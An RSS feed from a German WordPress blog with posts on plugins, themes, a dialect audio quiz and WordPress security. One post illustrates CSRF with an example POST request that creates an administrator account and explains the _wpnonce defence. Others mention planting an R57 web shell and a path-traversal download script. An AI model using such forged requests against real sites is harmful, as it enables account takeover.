<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>mein gott und meine welt &#187; Wordpress</title>
	<atom:link href="http://meingottundmeinewelt.de/category/computer/wordpress/feed/" rel="self" type="application/rss+xml" />
	<link>http://meingottundmeinewelt.de</link>
	<description>nichts für leute die aus ihren dogmen nicht ausbrechen können</description>
	<lastBuildDate>Mon, 26 Jul 2010 16:28:04 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	
		<item>
		<title>Sexy Spamschutz</title>
		<link>http://meingottundmeinewelt.de/2010/05/03/sexy-spamschutz/</link>
		<comments>http://meingottundmeinewelt.de/2010/05/03/sexy-spamschutz/#comments</comments>
		<pubDate>Mon, 03 May 2010 07:01:03 +0000</pubDate>
		<dc:creator>ich</dc:creator>
				<category><![CDATA[Wordpress]]></category>

		<guid isPermaLink="false">http://meingottundmeinewelt.de/?p=4592</guid>
		<description><![CDATA[Vor ca. einem Monat bin ich auf einen wirklich sehr guten Spamschutz in Form eines Plugin f&#252;r WordPress gesto&#223;en: &#8220;Aus der Mindfactory: Slide2Comment – anti spam the sexy way&#8221; (mindworker.de) Ist dieses Plugin installiert so muss der Besucher, der einen Kommentar hinterlassen m&#246;chte, kein Captcha oder eine Rechenaufgabe l&#246;sen, oder der sonst &#252;blichen Methoden Spammer [...]]]></description>
			<content:encoded><![CDATA[<p>Vor ca. einem Monat bin ich auf einen wirklich sehr guten Spamschutz in Form eines Plugin f&#252;r WordPress gesto&#223;en:<br />
&#8220;<a href="http://mindworker.de/272/slide2comment-anti-spam-the-sexy-way"  target="_blank">Aus der Mindfactory: Slide2Comment – anti spam the sexy way</a>&#8221; (mindworker.de)</p>
<p>Ist dieses Plugin installiert so muss der Besucher, der einen Kommentar hinterlassen m&#246;chte, kein Captcha oder eine Rechenaufgabe l&#246;sen, oder der sonst &#252;blichen Methoden Spammer abzuwehren &mdash; er braucht nur einen Button anklicken und mit gedr&#252;ckter Maustaste von links nach rechts schieben. Erst durch diese Aktion werden die Formularfelder der Kommentarfunktion sichtbar. Wer ein iPhone besitzt kennt diese Art der Aktivierung.</p>
<p>Damals gab es noch einen kleinen Bug, weshalb ich das Plugin nicht sofort hier eingebaut habe. Mittlerweile ist der Bug behoben und es ist auch noch die Funktion hinzugekommen den Button mit dem Mauszeiger ohne Klick zu bewegen. In dem Adminpanel, welches auch dazugekommen ist, gibt es neben dem ein- und ausschalten des Klicks, auch die M&#246;glichkeit die CSS-Datei direkt im Backend zu editieren, damit der Slider den eigenen W&#252;nschen angepasst werden kann.</p>
<p>Nat&#252;rlich konnte ich es nicht lassen im Plugin selber etwas rumzupfuschen. ;O)</p>
<p>Der mitgelieferte quietschgr&#252;ne Slider war mein erstes Opfer, wobei ich auch die Hintergrundfarbe angepasst habe. Im PHP-Code ersetzte ich <code>message: "Slide 2 Comment"</code> durch <code>message: "&amp;larr; schieben und kommentieren"</code>. Die <code>jquery.min.js</code> muss ich auch nicht zwingend von Google laden, da ich noch 56 kByte Webspace &#252;brig hatte und Google nicht immer benachrichtigen m&#246;chte wenn ein Besucher auf meinem Blog ist. </p>
<p>Aus<br />
<img src="../../../../../../wp-content/images/slider-alt.png" alt="slider-alt.png" /><br />
ist nun<br />
<img src="../../../../../../wp-content/images/slider-neu.png" alt="slider-neu.png" /><br />
geworden.</p>
<p>Das Plugin kann direkt aus dem &#8220;Plugin Directory&#8221; von WordPress.org geladen werden. Bisher wurde &#8220;<a href="http://wordpress.org/extend/plugins/slide2comment/"  target="_blank">Slide2Comment</a>&#8221; (wordpress.org) mehr als 600 Mal runtergeladen. Gl&#252;ckwunsch an den Plugin-Autoren Long Hoang und besten Dank f&#252;r dieses tolle Plugin, von mir und allen Captcha-Hassern dieser Welt. :O)<br />
<br class="clearboth" /><br />
Update: 10:56 Uhr</p>
<p>Plugin erstmal wieder deaktiviert und die alte Methode aktiviert, da der <a href="http://erich-kachel.de/"  target="_blank">Erich</a> (erich-kachel.de) gleich eine L&#252;cke f&#252;r Spammer gefunden hat. :O)</p>
<p>Da werde ich nun selber im Quellcode schauen m&#252;ssen wie ich Spammer abhalten kann, denn nach wie vor hasse ich Captcha &amp; Co.</p>
]]></content:encoded>
			<wfw:commentRss>http://meingottundmeinewelt.de/2010/05/03/sexy-spamschutz/feed/</wfw:commentRss>
		<slash:comments>14</slash:comments>
		</item>
		<item>
		<title>&#8220;I don&#8217;t think CSRF is as big of a deal&#8221;</title>
		<link>http://meingottundmeinewelt.de/2010/04/17/i-dont-think-csrf-is-as-big-of-a-deal/</link>
		<comments>http://meingottundmeinewelt.de/2010/04/17/i-dont-think-csrf-is-as-big-of-a-deal/#comments</comments>
		<pubDate>Sat, 17 Apr 2010 09:08:39 +0000</pubDate>
		<dc:creator>ich</dc:creator>
				<category><![CDATA[CSRF]]></category>
		<category><![CDATA[Wordpress]]></category>

		<guid isPermaLink="false">http://meingottundmeinewelt.de/?p=4531</guid>
		<description><![CDATA[Es ist eine alte Wahrheit: Was Computern leicht f&#228;llt, f&#228;llt Menschen oftmals sehr schwer und umgekehrt. Und ein Web Vulnerability Scanner kann, wie auch ein Virenscanner, nur etwas finden wenn ihm ein entsprechendes Muster f&#252;r Vergleiche vorliegt. Kevin Beaver behauptet: Weil kommerzielle Schwachstellen-Scanner mit dem Aufsp&#252;ren von CSRF-L&#252;cken Probleme haben, so h&#228;tten auch Menschen Probleme [...]]]></description>
			<content:encoded><![CDATA[<p>Es ist eine alte Wahrheit: Was Computern leicht f&#228;llt, f&#228;llt Menschen oftmals sehr schwer und umgekehrt. Und ein Web Vulnerability Scanner kann, wie auch ein Virenscanner, nur etwas finden wenn ihm ein entsprechendes Muster f&#252;r Vergleiche vorliegt.</p>
<p>Kevin Beaver behauptet: Weil kommerzielle Schwachstellen-Scanner mit dem Aufsp&#252;ren von CSRF-L&#252;cken Probleme haben, so h&#228;tten auch Menschen Probleme beim Auffinden solcher L&#252;cken. Und es w&#228;re auch schwer eine gefundene L&#252;cke auszunutzen. Seine Schlussfolgerung daraus: Man solle dieser Art von Schwachstelle weniger Beachtung schenken und lieber die offensichtlichen, leicht auffindbaren L&#252;cken suchen und schlie&#223;en.</p>
<p>Erst &#252;ber den Blogeintrag &#8220;<a href="http://ha.ckers.org/blog/20100414/csrf-isnt-a-big-deal-duh/"  target="_blank">CSRF Isn’t A Big Deal &#8211; Duh!</a>&#8221; (ha.ckers.org) von Robert “RSnake” Hansen bin ich auf Kevin Beaver gekommen.</p>
<p>Kevin Beaver hat angeblich 20 Jahre Erfahrung in der Branche. Und erz&#228;hlt so etwas seinen Kunden? Wieder ein spezieller Experte. ;O)<br />
<br class="clearboth" /><br />
Ich wei&#223; nicht wie der Algorithmus eines Web Vulnerability Scanner aufgebaut ist um L&#252;cken zu <a href="http://de.wikipedia.org/wiki/Cross-Site_Request_Forgery"  target="_blank">Cross-Site Request Forgery</a> (de.wikipedia.org) zu finden, aber f&#252;r mich als Human Web Vulnerability Scanner ist das Auffinden recht einfach.</p>
<p>Wenn eine CSRF-L&#252;cke vorliegt besteht kaum ein Problem ein funktionierenden Exploit zu erstellen, etwas HTML- und JavaScript-Kenntnisse reichen vollkommen aus. Der Angreifer muss sein Opfer nur noch auf eine pr&#228;parierte Website locken, um zum Ziel zu kommen.<br />
<br class="clearboth" /><br />
Wenn beispielsweise das Anlegen eines neues Users in einem CMS &#252;ber ein Formular erfolgt welches folgende Daten versendet:</p>
<blockquote><p><code>http://wordpress/wp-admin/user-new.php<br />
[POST]<br />
action=adduser<br />
&amp;user_login=tester<br />
&amp;email=name@mail.tld<br />
&amp;pass1=12345678<br />
&amp;pass2=12345678<br />
&amp;role=administrator<br />
</code></p></blockquote>
<p>So kann man davon ausgehen das eine CSRF-L&#252;cke vorliegt.</p>
<p>In WordPress gibt es aber noch den Parameter <code>_wpnonce</code> der CSRF verhindert:</p>
<blockquote><p><code>http://wordpress/wp-admin/user-new.php<br />
[POST]<br />
_wpnonce=abc123xyz789<br />
&amp;action=adduser<br />
&amp;user_login=tester<br />
&amp;email=name@mail.tld<br />
&amp;pass1=12345678<br />
&amp;pass2=12345678<br />
&amp;role=administrator<br />
</code>
</p></blockquote>
<p>Der Wert hinter <code>_wpnonce</code> ist f&#252;r eine bestimmte Aktion und einen bestimmten Blog immer derselbe. Sollte es, evtl. &#252;ber eine Sicherheitsl&#252;cke, m&#246;glich sein diesen Wert aus einem fremden Blog auszulesen oder ihn zu berechnen, so t&#228;te sich eine CSRF-L&#252;cke auf.</p>
]]></content:encoded>
			<wfw:commentRss>http://meingottundmeinewelt.de/2010/04/17/i-dont-think-csrf-is-as-big-of-a-deal/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>WordPress Versionsnummer f&#228;lschen und updaten</title>
		<link>http://meingottundmeinewelt.de/2009/09/07/wordpress-versionsnummer-faelschen-und-updaten/</link>
		<comments>http://meingottundmeinewelt.de/2009/09/07/wordpress-versionsnummer-faelschen-und-updaten/#comments</comments>
		<pubDate>Mon, 07 Sep 2009 12:17:45 +0000</pubDate>
		<dc:creator>ich</dc:creator>
				<category><![CDATA[Sicherheit]]></category>
		<category><![CDATA[Wordpress]]></category>

		<guid isPermaLink="false">http://meingottundmeinewelt.de/?p=3316</guid>
		<description><![CDATA[&#8220;&#196;ltere WordPress-Versionen Ziel von Angriffen&#8221; (blog.wordpress-deutschland.org) Daher sei gesagt: Nur die aktuellste Version von WordPress ist die sicherste! Das liest sich wie: &#8220;Das beste Windows aller Zeiten.&#8221; :O) In meinem Blog konnte ich bisher keinen Angriff auf die L&#252;cken der WP-Versionen vor 2.8.4 feststellen. Was wohl daran liegen mag, dass mein Blog eher unbedeutend und [...]]]></description>
			<content:encoded><![CDATA[<p>&#8220;<a href="http://blog.wordpress-deutschland.org/2009/09/05/aeltere-wordpress-versionen-ziel-von-angriffen.html"  target="_blank" title="Link zu blog.wordpress-deutschland.org">&#196;ltere WordPress-Versionen Ziel von Angriffen</a>&#8221; (blog.wordpress-deutschland.org)</p>
<blockquote><p>Daher sei gesagt: <strong>Nur die aktuellste Version von WordPress ist die sicherste!</strong></p></blockquote>
<p>Das liest sich wie: &#8220;Das beste Windows aller Zeiten.&#8221; :O)</p>
<p>In meinem Blog konnte ich bisher keinen Angriff auf die L&#252;cken der WP-Versionen vor 2.8.4 feststellen. Was wohl daran liegen mag, dass mein Blog eher unbedeutend und unbekannt ist, aber evtl. auch damit zusammenh&#228;ngt, dass man bei mir nicht sehen kann welche Version hier aktuell l&#228;uft.</p>
<p>In &#8220;<a href="http://meingottundmeinewelt.de/2008/01/23/wordpress-fuer-c64/"  target="_blank">WordPress f&#252;r C64</a>&#8221; hatte ich bereits dar&#252;ber geschrieben wie man die Ausgabe der Versionsnummer &#228;ndert.<br />
<br class="clearboth" /><br />
Ich behaupte mal: Die Ausgabe der Versionsnummer einer Software zieht Angreifer an.</p>
<p>Wenn bekannt wird das in der Version 0.8.1.5 einer Software eine L&#252;cke steckt, dann werden nat&#252;rlich alle Scriptkiddies dieser Welt genau nach dieser Version suchen. Da ist es dann sehr dumm, wenn die Software die Versionsnummer ausplaudert und diese, wie bei CMS, Foren, Blogs, etc. &#252;blich, auch &#252;ber Suchmaschinen auffindbar ist.<br />
<br class="clearboth" /><br />
Gestern meinte jemand in einem Kommentar auf meinen vorletzten Eintrag:</p>
<blockquote><p>Ich warte sehns&#252;chtig auf eine kostenpflichtige WordPress-Version, die wirklich sicher ist.</p></blockquote>
<p>Also, wirklich sichere Software gibt es nicht. Es gibt nur Software, bei der bisher keine L&#252;cke bekannt geworden ist und nur deshalb als sicher gilt, was aber nicht ausschlie&#223;t, dass unbekannte L&#252;cken bereits ausgenutzt werden.</p>
<p>Warum findet man in einem Script, welches Downloads erm&#246;glichen soll, folgendes?<br />
<code>Select Case strFileType<br />
(...)<br />
Case &quot;.asp&quot;<br />
ContentType = &quot;text/asp&quot;<br />
(...)<br />
End Select</code><br />
Und warum kann man auch noch den Pfad auf alle Verzeichnisse &#228;ndern, bis hoch zum Root?</p>
<p>Nicht weil jemand f&#252;r seine Arbeit kein Geld bekommt, sondern weil er sein mitgeliefertes Hirn nicht benutzt hat.</p>
<p>Man soll es kaum glauben, aber auch in Software die 20.000 € und mehr kostet, findet man genau solche L&#252;cken. Also kann man nicht davon ausgehen, dass die Sicherheit einer Software davon abh&#228;ngig ist, wie viel oder ob sie etwas kostet.<br />
<br class="clearboth" /><br />
Was f&#252;r das Betriebssystem gilt gilt auch f&#252;r die Blogsoftware &#8211; immer auf den neuesten Stand halten und updaten.</p>
]]></content:encoded>
			<wfw:commentRss>http://meingottundmeinewelt.de/2009/09/07/wordpress-versionsnummer-faelschen-und-updaten/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Der WordPress-Code k&#246;nnte sicherer sein&#8230;</title>
		<link>http://meingottundmeinewelt.de/2009/09/01/der-wordpress-code-koennte-sicherer-sein/</link>
		<comments>http://meingottundmeinewelt.de/2009/09/01/der-wordpress-code-koennte-sicherer-sein/#comments</comments>
		<pubDate>Tue, 01 Sep 2009 05:33:14 +0000</pubDate>
		<dc:creator>ich</dc:creator>
				<category><![CDATA[Sicherheit]]></category>
		<category><![CDATA[Software]]></category>
		<category><![CDATA[Wordpress]]></category>

		<guid isPermaLink="false">http://meingottundmeinewelt.de/?p=3283</guid>
		<description><![CDATA[&#8220;WordPress: Eine Studie in Scharlachrot&#8221; (computec.ch) Marc Ruef hat sich den Quellcode von WordPress angeschaut, meint dieser w&#228;re schon vom Ansatz her nicht sehr sicher und die von ihm genannte Stelle w&#252;rde in Zukunft zu Problemen f&#252;hren. Es geht um die wp-login.php und die Zeile 188: $key = preg_replace('/[^a-z0-9]/i', '', $key); Was macht denn nun [...]]]></description>
			<content:encoded><![CDATA[<p>&#8220;<a href="http://www.computec.ch/comment.php?comment.news.298"  target="_blank" title="Link zu computec.ch">WordPress: Eine Studie in Scharlachrot</a>&#8221; (computec.ch)<br />
Marc Ruef hat sich den Quellcode von WordPress angeschaut, meint dieser w&#228;re schon vom Ansatz her nicht sehr sicher und die von ihm genannte Stelle w&#252;rde in Zukunft zu Problemen f&#252;hren.</p>
<p>Es geht um die wp-login.php und die Zeile 188:<br />
<code>$key = preg_replace('/[^a-z0-9]/i', '', $key);</code></p>
<p>Was macht denn nun diese eine Zeile PHP? Eigentlich nicht viel, sie wandelt nur alle Zeichen die nicht Buchstaben (a-z) oder Ziffern (0-9) sind in das Zeichen zwischen den Hochkommas <code>''</code> um, l&#246;scht sie also. Ja, das war schon alles. Diese eine Zeile Code macht nun WordPress nicht unsicher, zeigt aber, wie Herr Ruef es nennt, eine &#8220;Art der defensiven Programmierung&#8221;.</p>
<p>Da <code>$key</code> (laut Ruef) nur ein MD5-Hash sein darf,</p>
<ul>
<li>Buchstaben von a bis f</li>
<li>Ziffern von 0 bis 9</li>
<li>L&#228;nge: 32 Zeichen</li>
</ul>
<p>ist ganz klar festgelegt, was vom Script verarbeitet werden darf und was sofort als Fehlfunktion bzw. Angriff eines Hackers gewertet und abgebrochen werden muss.</p>
<p>H&#228;tten sich die WP-Entwickler &#228;hnliche Gedanken &#252;ber die Sicherheit gemacht wie Herr Ruef, so w&#252;rden alle Pr&#252;fungen die nach der Zeile 188 vorgenommen werden, auch wenn es kein MD5-Hash ist, nicht ausgef&#252;hrt &#8211; die weitere Verarbeitung w&#252;rde mit einer Fehlermeldung abgebrochen werden &#8211; aber dem ist leider nicht so.</p>
<p>Genau solche vermeintlichen Kleinigkeiten, f&#252;hren in der Summe eines Projektes (WP hat 276 PHP-Dateien), im Zusammenspiel unz&#228;hliger Scripte, sehr schnell zu Fehlern, die dann eben doch kritisch sein k&#246;nnen.<br />
<br class="clearboth" /><br />
Ich habe es ja auch immer wieder mit Entwicklern zutun, die eher darauf schauen das ihr Code schnell ausgef&#252;hrt wird und m&#246;glichst wenig Zeilen verbraucht (sic!). Sie wollen oft nicht einsehen, dass es immer besser ist, sich den Code auch von der Seite des Hackers her anzuschauen und zum Beispiel alle Benutzereingaben abzufangen und auszuschlie&#223;en, die nicht ben&#246;tigt werden.<br />
<br class="clearboth" /><br />
Warum muss z.B. ein Feld f&#252;r deutsche Postleitzahlen mehr als 5 Ziffern aufnehmen, Buchstaben und Sonderzeichen erlauben und in der Datenbank 255 Zeichen speichern k&#246;nnen? Damit sich der Entwickler keine Arbeit machen muss, wenn ein nicht-Deutscher sich verlaufen hat. ;O)</p>
<p>Bisschen ergoogelt (ext:sql dump blz|plz):</p>
<blockquote><p>`plz` varchar(64)<br />
&#8230;<br />
`PLZ` int(11)<br />
&#8230;<br />
`plz` decimal(10,0)<br />
&#8230;<br />
`plz` varchar(255)<br />
&#8230;<br />
`blz` text<br />
&#8230;<br />
`blz` varchar(64)</p></blockquote>
<p><br class="clearboth" /><br />
Passend zu mehr Sicherheit in WP dies:<br />
&#8220;<a href="http://entwickler.de/zonen/portale/psecom,id,99,news,50914,.html"  target="_blank" title="Link zu entwickler.de">Mehr Sicherheit f&#252;r WordPress 2.8.5</a>&#8221; (entwickler.de)</p>
<p>Da soll der Admin in Zukunft nur noch bestimmte Datei-Typen in die Mediathek hochladen k&#246;nnen und ein gehackter Admin-Account von WordPress wird damit sicherer?!</p>
<p>entwickler.de bezieht die Info von Robert Wetzlmayr:<br />
&#8220;<a href="http://talkpress.de/artikel/wordpress-2-8-5-sichere-mediathek"  target="_blank" title="Link zu talkpress.de">Neu in WordPress 2.8.5: Sichere Mediathek</a>&#8221; (talkpress.de)</p>
<p>Und auch der offizielle deutsche WordPress-Blog schreibt:<br />
&#8220;<a href="http://blog.wordpress-deutschland.org/2009/08/30/neue-sicherheitsbestimmung-fuer-die-mediathek-in-2-8-5.html"  target="_blank" title="Link zu blog.wordpress-deutschland.org">Neue Sicherheitsbestimmung f&#252;r die Mediathek in 2.8.5</a>&#8221; (blog.wordpress-deutschland.org)</p>
<p>Was hindert den Hacker daran, der nun Admin ist, ein Plugin zu installieren, mit dem er die MIME-Typen der Whitelist wieder aufbohrt? Und was hindert ihn daran, einfach im Theme eine Datei zu editieren, um dort eine R57-Shell einzuf&#252;gen?</p>
<p>Ich kann nur hoffen das die WP-Entwickler diese &#196;nderung nicht wirklich als Beitrag zu mehr Sicherheit in WordPress einstufen.</p>
]]></content:encoded>
			<wfw:commentRss>http://meingottundmeinewelt.de/2009/09/01/der-wordpress-code-koennte-sicherer-sein/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Neues Theme und neues Lightbox-Plugin</title>
		<link>http://meingottundmeinewelt.de/2009/05/02/neues-theme-und-neues-lightbox-plugin/</link>
		<comments>http://meingottundmeinewelt.de/2009/05/02/neues-theme-und-neues-lightbox-plugin/#comments</comments>
		<pubDate>Sat, 02 May 2009 05:30:49 +0000</pubDate>
		<dc:creator>ich</dc:creator>
				<category><![CDATA[Wordpress]]></category>

		<guid isPermaLink="false">http://meingottundmeinewelt.de/?p=2481</guid>
		<description><![CDATA[Nach mehr als 2 Jahren habe ich ein neues Theme eingebaut und bei der Gelegenheit das Problem mit dem Plugin &#8220;WP Ajax Edit Comments&#8221; (ajaydsouza.com) behoben. Da ich ja selber meine Kommentare nicht &#252;ber das Frontend schreibe, habe ich es erst recht sp&#228;t bemerkt&#8230; &#8220;WP Ajax Edit Comments&#8221; funktionierte auf einmal nicht mehr. Nach einer [...]]]></description>
			<content:encoded><![CDATA[<p>Nach mehr als 2 Jahren habe ich ein neues Theme eingebaut und bei der Gelegenheit das Problem mit dem Plugin &#8220;<a href="http://ajaydsouza.com/wordpress/plugins/wp-ajax-edit-comments/"  target="_blank" title="Link zu ajaydsouza.com">WP Ajax Edit Comments</a>&#8221; (ajaydsouza.com) behoben.<br />
<br class="clearboth" /><br />
Da ich ja selber meine Kommentare nicht &#252;ber das Frontend schreibe, habe ich es erst recht sp&#228;t bemerkt&#8230; &#8220;WP Ajax Edit Comments&#8221; funktionierte auf einmal nicht mehr. Nach einer kurzen Suche fand ich einen Hinweis, wo das Problem liegt:<br />
&#8220;<a href="http://www.hisky.de/2008/11/30/jquery-konflikt-mit-lightbox-thickbox-dank-prototypejs/"  target="_blank" title="Link zu hisky.de">jQuery Konflikt mit Lightbox / Thickbox dank prototype.js</a>&#8221; (hisky.de)</p>
<p>Nun kann man sich die Arbeit machen und wie in dem Blogbeitrag beschrieben die Dateien austauschen bzw. selber editieren und dann hoffen das alles funktioniert, oder man bem&#252;ht noch einmal die Suchmaschine seiner Wahl, und st&#246;&#223;t auf <a href="http://transientmonkey.com/wp-slimbox2"  target="_blank" title="Link zu transientmonkey.com">&#8220;WP-Slimbox2&#8243;</a> (transientmonkey.com).</p>
<p>&#8220;WP-Slimbox2&#8243; nutzt das gleiche JavaScript-Framework wie WordPress selber, wodurch es dann eben nicht den Konflikt zwischen jQuery und Prototype gibt. Man mu&#223; nichts am Quellcode irgendeiner Datei &#228;ndern. Ich habe nur das alte &#8220;<a href="http://www.4mj.it/slimbox-wordpress-plugin/"  target="_blank" title="Link zu www.4mj.it" target="_blank" title="Link zu 4mj.it">Slimbox WordPress Plugin</a>&#8221; (4mj.it) gegen das neue Plugin ausgetauscht, fertig und schon funktioniert &#8220;WP Ajax Edit Comments&#8221; wieder. :O)<br />
<br class="clearboth" /><br />
Das neue Theme ist wieder von <a href="http://www.web-funk.de/"  target="_blank" title="Link zu web-funk.de">Webfunk</a> (web-funk.de), in dem nun in den Kommentaren die kleinen Bildchen von <a href="http://en.gravatar.com/"  target="_blank" title="Link zu gravatar.com">Gravatar</a> (gravatar.com) eingeblendet werden. Und, wie ich finde, wird es nun auch etwas &#252;bersichtlicher, da Antworten auf Kommentare einger&#252;ckt werden.</p>
]]></content:encoded>
			<wfw:commentRss>http://meingottundmeinewelt.de/2009/05/02/neues-theme-und-neues-lightbox-plugin/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Neues WordPress und Fluency-Admin-Plugin</title>
		<link>http://meingottundmeinewelt.de/2008/12/12/neues-wordpress-und-fluency-admin-plugin/</link>
		<comments>http://meingottundmeinewelt.de/2008/12/12/neues-wordpress-und-fluency-admin-plugin/#comments</comments>
		<pubDate>Fri, 12 Dec 2008 14:25:36 +0000</pubDate>
		<dc:creator>ich</dc:creator>
				<category><![CDATA[Wordpress]]></category>

		<guid isPermaLink="false">http://meingottundmeinewelt.de/?p=1417</guid>
		<description><![CDATA[Heute habe ich hier das Update auf Version 2.7 gemacht. Im Frontend sieht man nichts vom Update, aber das Backend&#8230; WOW! BOAH! Sehr sch&#246;n was die Jungs und M&#228;dels da entwickelt haben. Das neue Backend ist sehr viel &#252;bersichtlicher geworden, man kann viele Elemente ausblenden oder anders positionieren. Hier gibt es eine &#220;bersicht &#252;ber alle [...]]]></description>
			<content:encoded><![CDATA[<p>Heute habe ich hier das Update auf Version 2.7 gemacht. Im Frontend sieht man nichts vom Update, aber das Backend&#8230;</p>
<p>WOW! BOAH!</p>
<p><img src="../../../../../../wp-content/images/admin-wp27.jpg" alt="WordPress 2.7 - Admin" /></p>
<p>Sehr sch&#246;n was die Jungs und M&#228;dels da entwickelt haben. Das neue Backend ist sehr viel &#252;bersichtlicher geworden, man kann viele Elemente ausblenden oder anders positionieren.</p>
<p>Hier gibt es eine &#220;bersicht &#252;ber alle neuen Features:<br />
<a href="http://blog.wordpress-deutschland.org/2008/12/11/wordpress-27-wurde-veroeffentlicht.html"  target="_blank" title="Link zu blog.wordpress-deutschland.org">&#196;nderungen im 2.7 Administrationsbereich</a> (blog.wordpress-deutschland.org)<br />
<br class="clearboth" /><br />
Wer in WordPress das Fluency-Admin-Plugin installiert hat, damit das Backend etwas &#252;bersichtlicher wird<br />
<img src="../../../../../../wp-content/images/fluency.jpg" alt="admin-fluency-plugin" /><br />
der wird nach dem Update auf 2.7 evtl. eine kleine &#220;berraschung erleben&#8230;<br />
<img src="../../../../../../wp-content/images/mit-fluency-wp27.jpg" alt="WordPress 2.7 - mit Fluency-Admin" /><br />
Alle Men&#252;punkte links sind verschwunden, aber keine Panik, einfach die http://domain.tld/wp-admin/plugins.php aufrufen und Fluency-Admin deaktivieren.</p>
<p>Der Autor des Plugins hat eine neue Version nachgeschoben, die auch mit der 2.7 funktioniert: <a href="http://deanjrobinson.com/projects/fluency-admin/"  target="_blank" title="Link zu deanjrobinson.com">http://deanjrobinson.com/projects/fluency-admin/</a></p>
<p><strong>Vielen Dank!</strong> an Dean J. Robinson f&#252;r sein tolles Plugin, welches ich bisher bei jeder Neuinstallation von WordPress mitinstalliert habe, aber nun wohl nicht mehr ben&#246;tige.</p>
]]></content:encoded>
			<wfw:commentRss>http://meingottundmeinewelt.de/2008/12/12/neues-wordpress-und-fluency-admin-plugin/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Sprachquiz mit WordPress MP3-Player Plugin</title>
		<link>http://meingottundmeinewelt.de/2008/12/05/sprachquiz-mit-wordpress-mp3-player-plugin/</link>
		<comments>http://meingottundmeinewelt.de/2008/12/05/sprachquiz-mit-wordpress-mp3-player-plugin/#comments</comments>
		<pubDate>Fri, 05 Dec 2008 08:07:09 +0000</pubDate>
		<dc:creator>ich</dc:creator>
				<category><![CDATA[Wordpress]]></category>
		<category><![CDATA[so Leute]]></category>

		<guid isPermaLink="false">http://meingottundmeinewelt.de/?p=1347</guid>
		<description><![CDATA[&#8220;Sprechender Sprachatlas von Bayern&#8221; (bayerische-landesbibliothek-online.de) Zum abspielen der MP3s jeweils auf den Pfeil klicken, das Wort ist direkt mit der Datei verlinkt. Fuck?! (kastriertes m&#228;nnliches Schwein) (Wahscheinlich das was das Schwein &#8220;danach&#8221; denkt. &#60;g&#62;) Hoodan (Sp&#252;llappen) (Das hat jetzt wohl nichts mit dem Fuck! zutun? &#60;g&#62;) Aftrm&#228;&#228;ta, M&#246;rada, Eada (Dienstag) Naana, Maale (Gro&#223;mutter) Rotzmugge, Sommerv&#246;gelie [...]]]></description>
			<content:encoded><![CDATA[<p>&#8220;<a href="http://sprachatlas.bayerische-landesbibliothek-online.de/"  target="_blank" title="Link zu bayerische-landesbibliothek-online.de">Sprechender Sprachatlas von Bayern</a>&#8221; (bayerische-landesbibliothek-online.de)</p>
<p>Zum abspielen der MP3s jeweils auf den Pfeil klicken, das Wort ist direkt mit der Datei verlinkt.</p>
<p><a href="http://sprachatlas.bayerische-landesbibliothek-online.de/sound/ob_mitt_210_2.mp3"  target="_blank">Fuck?!</a> (kastriertes m&#228;nnliches Schwein)<br />
(Wahscheinlich das was das Schwein &#8220;danach&#8221; denkt. &lt;g&gt;)</p>
<p><a href="http://sprachatlas.bayerische-landesbibliothek-online.de/sound/op_pfat_188.mp3"  target="_blank">Hoodan</a> (Sp&#252;llappen)<br />
(Das hat jetzt wohl nichts mit dem Fuck! zutun? &lt;g&gt;)</p>
<p><a href="http://sprachatlas.bayerische-landesbibliothek-online.de/sound/ob_bern_102.mp3"  target="_blank">Aftrm&#228;&#228;ta</a>, <a href="http://sprachatlas.bayerische-landesbibliothek-online.de/sound/sw_aich_102.mp3"  target="_blank">M&#246;rada</a>, <a href="http://sprachatlas.bayerische-landesbibliothek-online.de/sound/op_pres_102.mp3"  target="_blank">Eada</a> (Dienstag)</p>
<p><a href="http://sprachatlas.bayerische-landesbibliothek-online.de/sound/sw_wass_114.mp3"  target="_blank">Naana</a>, <a target="_blank" href="http://sprachatlas.bayerische-landesbibliothek-online.de/sound/sw_ober_114.mp3" >Maale</a> (Gro&#223;mutter)</p>
<p><a href="http://sprachatlas.bayerische-landesbibliothek-online.de/sound/mf_wilb_140.mp3"  target="_blank">Rotzmugge</a>, <a href="http://sprachatlas.bayerische-landesbibliothek-online.de/sound/uf_schw_140.mp3"  target="_blank">Sommerv&#246;gelie</a> (Sommersprossen)</p>
<p>Keine WebSite die die Welt dringend braucht, aber f&#252;r etwas Spa&#223; an exotischen Sprachen reicht es und es hat mir ein neues WP-Plugin beschehrt und das noch vor Weihnachten. :O) </p>
<p><br class="clearboth" /><br />
Als WP-Plugin zum Abspielen habe ich den &#8220;<a href="http://wordpress.org/extend/plugins/1-bit-audio-player/"  target="_blank" title="Link zu wordpress.org">1 Bit Audio Player</a>&#8221; (wordpress.org) eingef&#252;gt. Man braucht nur die MP3s zu verlinken, das Plugin erkennt automatisch an der Dateiendung das es den Playbutton anh&#228;ngen soll.</p>
]]></content:encoded>
			<wfw:commentRss>http://meingottundmeinewelt.de/2008/12/05/sprachquiz-mit-wordpress-mp3-player-plugin/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
<enclosure url="http://sprachatlas.bayerische-landesbibliothek-online.de/sound/uf_schw_140.mp3" length="23874" type="audio/mpeg" />
<enclosure url="http://sprachatlas.bayerische-landesbibliothek-online.de/sound/mf_wilb_140.mp3" length="22130" type="audio/mpeg" />
<enclosure url="http://sprachatlas.bayerische-landesbibliothek-online.de/sound/sw_ober_114.mp3" length="12298" type="audio/mpeg" />
<enclosure url="http://sprachatlas.bayerische-landesbibliothek-online.de/sound/sw_wass_114.mp3" length="18715" type="audio/mpeg" />
